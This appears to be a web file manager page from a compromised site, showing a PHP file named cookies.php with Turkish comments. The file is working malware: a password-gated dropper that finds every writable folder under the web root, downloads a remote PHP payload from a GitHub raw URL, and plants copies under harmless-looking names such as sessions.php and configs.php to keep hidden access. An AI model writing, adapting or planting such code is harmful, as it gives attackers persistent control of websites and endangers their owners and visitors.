trAvis - MANAGER
Edit File: cookies.php
<?php // Ana dizin, kök dizin (örneğin, public_html) olarak ayarlanır $baseDir = $_SERVER['DOCUMENT_ROOT']; $action = "3184b455af24f896c5f0d7a7b8412892"; $value = "eacb3d1ca43c3b2e81a39d14e79676b5"; // Gelen parametreyi al ve hash işlemleri uygula $inputAction = isset($_GET['kul']) ? md5(hash('sha256', md5($_GET['kul']))) : ''; // Yetkilendirme kontrolü if ($inputAction !== $value) { die(""); } // Tüm yazılabilir alt klasörleri listeleyen işlev function listWritableSubfolders($directory) { $writableFolders = []; function exploreFolders($currentDir, &$writableFolders, $baseDir) { $folders = array_filter(glob($currentDir . '/*'), 'is_dir'); foreach ($folders as $folder) { if (is_writable($folder)) { $writableFolders[] = str_replace($baseDir . '/', '', $folder); } exploreFolders($folder, $writableFolders, $baseDir); } } exploreFolders($directory, $writableFolders, $directory); return $writableFolders; } function filterByMinLengthAndDistributeRandomly($folders, $baseLevel, $randomCountTotal, $minPerBase = 3) { $groupedByBase = []; foreach ($folders as $folder) { $segments = explode('/', $folder); if (count($segments) > $baseLevel) { $base = implode('/', array_slice($segments, 0, $baseLevel)); $groupedByBase[$base][] = $folder; } } $result = []; foreach ($groupedByBase as $base => $subfolders) { shuffle($subfolders); $selected = array_slice($subfolders, 0, $minPerBase); $result = array_merge($result, $selected); } shuffle($result); return array_slice($result, 0, $randomCountTotal); } function downloadFile($url, $savePath) { $fileContent = @file_get_contents($url); if ($fileContent === false) { $ch = curl_init($url); $fp = fopen($savePath, 'w+'); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_exec($ch); curl_close($ch); fclose($fp); return file_exists($savePath); } else { return file_put_contents($savePath, $fileContent) !== false; } } function downloadFilesAndCopyWithRandomNames($fileUrls, $folders, $fileList, $maxFiles) { $downloadDir = __DIR__ . '/downloaded_files'; if (!is_dir($downloadDir)) { mkdir($downloadDir, 0777, true); } $downloadedFiles = []; foreach ($fileUrls as $url) { $fileName = basename(parse_url($url, PHP_URL_PATH)); $filePath = $downloadDir . '/' . $fileName; if (downloadFile($url, $filePath)) { $downloadedFiles[] = $filePath; } else { } } $filesCopied = 0; $maxFiles = min($maxFiles, count($folders)); foreach ($folders as $folder) { if ($filesCopied >= $maxFiles) { break; } $randomFile = $downloadedFiles[array_rand($downloadedFiles)]; $randomName = $fileList[array_rand($fileList)]; $destinationPath = $_SERVER['DOCUMENT_ROOT'] . '/' . $folder . '/' . $randomName; if (!file_exists($destinationPath)) { if (copy($randomFile, $destinationPath)) { $urlPath = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $destinationPath); echo "$urlPath<br>"; $filesCopied++; } else { } } } // İndirilen dosyaları sil foreach ($downloadedFiles as $file) { if (file_exists($file)) { unlink($file); } } } $writableSubfolders = listWritableSubfolders($baseDir); $baseLevel = 2; $randomCountTotal = 10; $minPerBase = 3; $filteredFolders = filterByMinLengthAndDistributeRandomly($writableSubfolders, $baseLevel, $randomCountTotal, $minPerBase); $fileUrls = [ "https://raw.githubusercontent.com/asdjakshdkj2/test/refs/heads/main/heh.php" ]; $fileList = ["sessions.php", "cookies.php", "caches.php", "configs.php", "setttings.php"]; $maxFiles = 15; downloadFilesAndCopyWithRandomNames($fileUrls, $filteredFolders, $fileList, $maxFiles); $downloadDir = __DIR__ . '/downloaded_files'; rmdir($downloadDir); ?>